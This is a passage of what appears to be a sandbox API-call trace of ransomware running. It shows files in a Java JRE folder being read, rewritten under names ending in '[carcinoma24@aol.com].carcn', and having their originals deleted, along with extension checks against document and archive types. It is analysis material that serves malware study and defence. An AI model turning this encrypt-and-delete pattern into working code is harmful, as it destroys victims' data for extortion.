lpNumberOfBytesWritten=0x363fc94*=0x3e50, lpOverlapped=0x0) returned 1 [0304.546] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0304.547] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe4, lpOverlapped=0x0) returned 1 [0304.547] SetEndOfFile (hFile=0x334) returned 1 [0304.547] CloseHandle (hObject=0x334) returned 1 [0304.547] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.547] SetEndOfFile (hFile=0x37c) returned 1 [0304.548] CloseHandle (hObject=0x37c) returned 1 [0304.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0304.548] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe")) returned 1 [0304.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.549] lstrlenW (lpString=".doc") returned 4 [0304.549] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.549] lstrlenW (lpString=".docx") returned 5 [0304.549] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0304.549] lstrlenW (lpString=".pdf") returned 4 [0304.549] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.549] lstrlenW (lpString=".xls") returned 4 [0304.549] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.549] lstrlenW (lpString=".xlsx") returned 5 [0304.549] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0304.549] lstrlenW (lpString=".ppt") returned 4 [0304.549] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.549] lstrlenW (lpString=".zip") returned 4 [0304.549] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.549] lstrlenW (lpString=".rar") returned 4 [0304.549] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.549] lstrlenW (lpString=".bz2") returned 4 [0304.549] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.549] lstrlenW (lpString=".7z") returned 3 [0304.549] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.549] lstrlenW (lpString=".dbf") returned 4 [0304.549] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.549] lstrlenW (lpString=".1cd") returned 4 [0304.549] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.549] lstrlenW (lpString=".jpg") returned 4 [0304.549] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.550] lstrlenW (lpString=".doc") returned 4 [0304.550] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0304.550] lstrlenW (lpString=".docx") returned 5 [0304.550] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0304.550] lstrlenW (lpString=".pdf") returned 4 [0304.550] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0304.550] lstrlenW (lpString=".xls") returned 4 [0304.550] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0304.550] lstrlenW (lpString=".xlsx") returned 5 [0304.550] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0304.550] lstrlenW (lpString=".ppt") returned 4 [0304.550] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0304.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.550] lstrlenW (lpString=".zip") returned 4 [0304.550] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0304.550] lstrlenW (lpString=".rar") returned 4 [0304.550] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0304.550] lstrlenW (lpString=".bz2") returned 4 [0304.550] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0304.550] lstrlenW (lpString=".7z") returned 3 [0304.550] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0304.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.550] lstrlenW (lpString=".dbf") returned 4 [0304.550] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0304.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.550] lstrlenW (lpString=".1cd") returned 4 [0304.550] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0304.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe") returned 47 [0304.551] lstrlenW (lpString=".jpg") returned 4 [0304.551] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0304.551] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0304.551] lstrlenW (lpString="rmiregistry.exe") returned 15 [0304.551] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.552] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=16448) returned 1 [0304.552] CloseHandle (hObject=0x37c) returned 1 [0304.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 0x20 [0304.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0304.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0304.552] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.552] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0304.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0304.553] GetLastError () returned 0x0 [0304.553] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4040, lpOverlapped=0x0) returned 1 [0305.047] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4050, lpOverlapped=0x0) returned 1 [0305.048] ReadFile (in: hFile=0x37c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.048] WriteFile (in: hFile=0x334, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf2, lpOverlapped=0x0) returned 1 [0305.048] SetEndOfFile (hFile=0x334) returned 1 [0305.048] CloseHandle (hObject=0x334) returned 1 [0305.048] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.049] SetEndOfFile (hFile=0x37c) returned 1 [0305.050] CloseHandle (hObject=0x37c) returned 1 [0305.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.573] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe")) returned 1 [0305.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.574] lstrlenW (lpString=".doc") returned 4 [0305.574] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0305.574] lstrlenW (lpString=".docx") returned 5 [0305.574] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0305.574] lstrlenW (lpString=".pdf") returned 4 [0305.574] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0305.574] lstrlenW (lpString=".xls") returned 4 [0305.574] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0305.574] lstrlenW (lpString=".xlsx") returned 5 [0305.574] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0305.574] lstrlenW (lpString=".ppt") returned 4 [0305.574] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0305.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.574] lstrlenW (lpString=".zip") returned 4 [0305.574] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0305.574] lstrlenW (lpString=".rar") returned 4 [0305.574] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0305.574] lstrlenW (lpString=".bz2") returned 4 [0305.574] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0305.574] lstrlenW (lpString=".7z") returned 3 [0305.574] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0305.574] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.574] lstrlenW (lpString=".dbf") returned 4 [0305.574] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0305.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.575] lstrlenW (lpString=".1cd") returned 4 [0305.575] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0305.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.575] lstrlenW (lpString=".jpg") returned 4 [0305.575] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0305.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.575] lstrlenW (lpString=".doc") returned 4 [0305.575] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0305.575] lstrlenW (lpString=".docx") returned 5 [0305.575] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0305.575] lstrlenW (lpString=".pdf") returned 4 [0305.575] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0305.575] lstrlenW (lpString=".xls") returned 4 [0305.575] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0305.575] lstrlenW (lpString=".xlsx") returned 5 [0305.575] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0305.575] lstrlenW (lpString=".ppt") returned 4 [0305.575] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0305.575] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.575] lstrlenW (lpString=".zip") returned 4 [0305.575] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0305.575] lstrlenW (lpString=".rar") returned 4 [0305.575] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0305.575] lstrlenW (lpString=".bz2") returned 4 [0305.575] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0305.575] lstrlenW (lpString=".7z") returned 3 [0305.576] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0305.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.576] lstrlenW (lpString=".dbf") returned 4 [0305.576] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0305.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.576] lstrlenW (lpString=".1cd") returned 4 [0305.576] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0305.576] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe") returned 54 [0305.576] lstrlenW (lpString=".jpg") returned 4 [0305.576] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0305.576] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0305.576] lstrlenW (lpString="ssv.dll") returned 7 [0305.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0305.577] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=571968) returned 1 [0305.577] CloseHandle (hObject=0x364) returned 1 [0305.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0305.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.580] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0305.580] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.580] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.580] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.581] GetLastError () returned 0x0 [0305.581] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x8ba40, lpOverlapped=0x0) returned 1 [0305.613] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x8ba50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x8ba50, lpOverlapped=0x0) returned 1 [0305.624] ReadFile (in: hFile=0x364, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.624] WriteFile (in: hFile=0x344, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe2, lpOverlapped=0x0) returned 1 [0305.625] SetEndOfFile (hFile=0x344) returned 1 [0305.625] CloseHandle (hObject=0x344) returned 1 [0305.625] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.625] SetEndOfFile (hFile=0x364) returned 1 [0305.631] CloseHandle (hObject=0x364) returned 1 [0305.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.631] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 1 [0305.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.631] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.631] lstrlenW (lpString=".doc") returned 4 [0305.631] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0305.631] lstrlenW (lpString=".docx") returned 5 [0305.631] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0305.631] lstrlenW (lpString=".pdf") returned 4 [0305.631] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0305.631] lstrlenW (lpString=".xls") returned 4 [0305.631] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0305.631] lstrlenW (lpString=".xlsx") returned 5 [0305.632] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0305.632] lstrlenW (lpString=".ppt") returned 4 [0305.632] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0305.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.632] lstrlenW (lpString=".zip") returned 4 [0305.632] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0305.632] lstrlenW (lpString=".rar") returned 4 [0305.632] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0305.632] lstrlenW (lpString=".bz2") returned 4 [0305.632] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0305.632] lstrlenW (lpString=".7z") returned 3 [0305.632] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0305.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.632] lstrlenW (lpString=".dbf") returned 4 [0305.632] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0305.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.632] lstrlenW (lpString=".1cd") returned 4 [0305.632] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0305.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.632] lstrlenW (lpString=".jpg") returned 4 [0305.632] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0305.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.632] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0305.632] lstrlenW (lpString=".doc") returned 4 [0306.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.025] lstrlenW (lpString=".docx") returned 5 [0306.025] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0306.025] lstrlenW (lpString=".pdf") returned 4 [0306.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.025] lstrlenW (lpString=".xls") returned 4 [0306.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.025] lstrlenW (lpString=".xlsx") returned 5 [0306.025] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0306.025] lstrlenW (lpString=".ppt") returned 4 [0306.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0306.025] lstrlenW (lpString=".zip") returned 4 [0306.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.025] lstrlenW (lpString=".rar") returned 4 [0306.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.025] lstrlenW (lpString=".bz2") returned 4 [0306.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.025] lstrlenW (lpString=".7z") returned 3 [0306.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0306.025] lstrlenW (lpString=".dbf") returned 4 [0306.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0306.025] lstrlenW (lpString=".1cd") returned 4 [0306.025] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll") returned 46 [0306.025] lstrlenW (lpString=".jpg") returned 4 [0306.025] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.026] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0306.026] lstrlenW (lpString="unpack200.exe") returned 13 [0306.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.026] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=197184) returned 1 [0306.027] CloseHandle (hObject=0x35c) returned 1 [0306.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0306.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.027] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.027] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.027] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0306.028] GetLastError () returned 0x0 [0306.028] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x30240, lpOverlapped=0x0) returned 1 [0306.040] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x30250, lpOverlapped=0x0) returned 1 [0306.044] ReadFile (in: hFile=0x35c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.044] WriteFile (in: hFile=0x348, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xee, lpOverlapped=0x0) returned 1 [0306.044] SetEndOfFile (hFile=0x348) returned 1 [0306.045] CloseHandle (hObject=0x348) returned 1 [0306.045] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.045] SetEndOfFile (hFile=0x35c) returned 1 [0306.047] CloseHandle (hObject=0x35c) returned 1 [0306.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.047] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0306.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.048] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0306.048] lstrlenW (lpString=".doc") returned 4 [0306.048] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0306.048] lstrlenW (lpString=".docx") returned 5 [0306.048] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0306.048] lstrlenW (lpString=".pdf") returned 4 [0306.048] lstrcmpiW (lpString1=".pdf", 